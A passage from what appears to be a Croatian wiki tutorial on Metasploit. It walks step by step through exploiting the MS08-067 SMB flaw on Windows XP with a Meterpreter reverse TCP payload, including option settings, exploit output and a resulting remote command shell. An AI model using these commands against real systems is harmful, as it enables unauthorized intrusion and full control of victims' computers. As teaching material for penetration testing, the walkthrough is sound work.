   windows/vncinject/reverse_nonx_tcp                                normal  VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/vncinject/reverse_ord_tcp                                 normal  VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/vncinject/reverse_tcp                                     normal  VNC Server (Reflective Injection), Reverse TCP Stager
   windows/vncinject/reverse_tcp_allports                            normal  VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   windows/vncinject/reverse_tcp_dns                                 normal  VNC Server (Reflective Injection), Reverse TCP Stager (DNS)

Da bismo odabrali payload, potrebno je iskoristiti naredbu set payload. Uz naredbu treba upisati i potpuno ime payloada U ovom primjeru će biti korišten windows/meterpreter/reverse_tcp:

set payload  windows/meterpreter/reverse_tcp 

Kako bi saznali što sve trebamo podesiti za izvođenje eksploatacije trebamo pozvati naredbu show options. Za ovaj primjer dobivamo sljedeći rezultat:


Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, none, process
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Sada je potrebno postaviti vrijednosti za određene opcije. Potrebno je postaviti vrijednosti RHOST (IP adresa mete), LHOST (IP adresa napadača) i LPORT (port napadača). Sve vrijednosti postavljamo naredbom set.

exploit(ms08_067_netapi) > set RHOST 10.211.55.6
  RHOST => 10.211.55.6
exploit(ms08_067_netapi) > set LHOST 192.168.1.6
  LHOST => 192.168.1.6
exploit(ms08_067_netapi) > set LPORT 9999
   LPORT => 9999

Postavljanje IP adrese i porta napadača je vrlo važno za uspostavljanje sesije između računala napadača i napadnutog računala. Nakon što su postavljene sve postavke potrebne za eksploataciju, potrebno je samo još pokrenuti eksploataciju naredbom exploit. Pokretanjem naredbe se dobije sljedeći rezultat:

[*] Started reverse handler on 192.168.1.6:9999 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.6
[*] Meterpreter session 1 opened (192.168.1.6:9999 -> 192.168.1.6:59737) at Mon Jan 02 23:55:54 +0100 2012

Time je uspostavljena sesija između računala napadača i napadnutog računala. Sada naredbom sessions -i 1uspostavljamo interakciju između računala. Tada nam se otvara Metapreter. Metapreter je payload koji nam omogućuje mnoge post-ecksploatacijske funkcionalnosti. Više o Metapreteru je moguće saznati na http://dev.metasploit.com/documents/meterpreter.pdf. Ovdje ćemo ga iskoristiti kako bi mogli pristupiti command shell-u napadnutog operacijskog sustava. Iskoristit ćemo jednostavnu naredbu shell.

meterpreter > shell
Process 3064 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS>

Vidimo kako nam Metapreter omogućuje izravan pristup svim datotekama napadnutog računala.

Shell nije jedina naredba koju možemo koristiti u Metapreteru. Pomoću njega možemo napravitit download datoteka s napadnutog računala, možemo izvršavati programe, "ubijati" procese, resetirati računalo. Drugim riječima imamo potpunu kontrolu nad računalom. Lista naredbi metapretera nalazi se na http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient#download.

--Tin.komlinovic 00:47, 3. siječnja 2012. (CET)

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima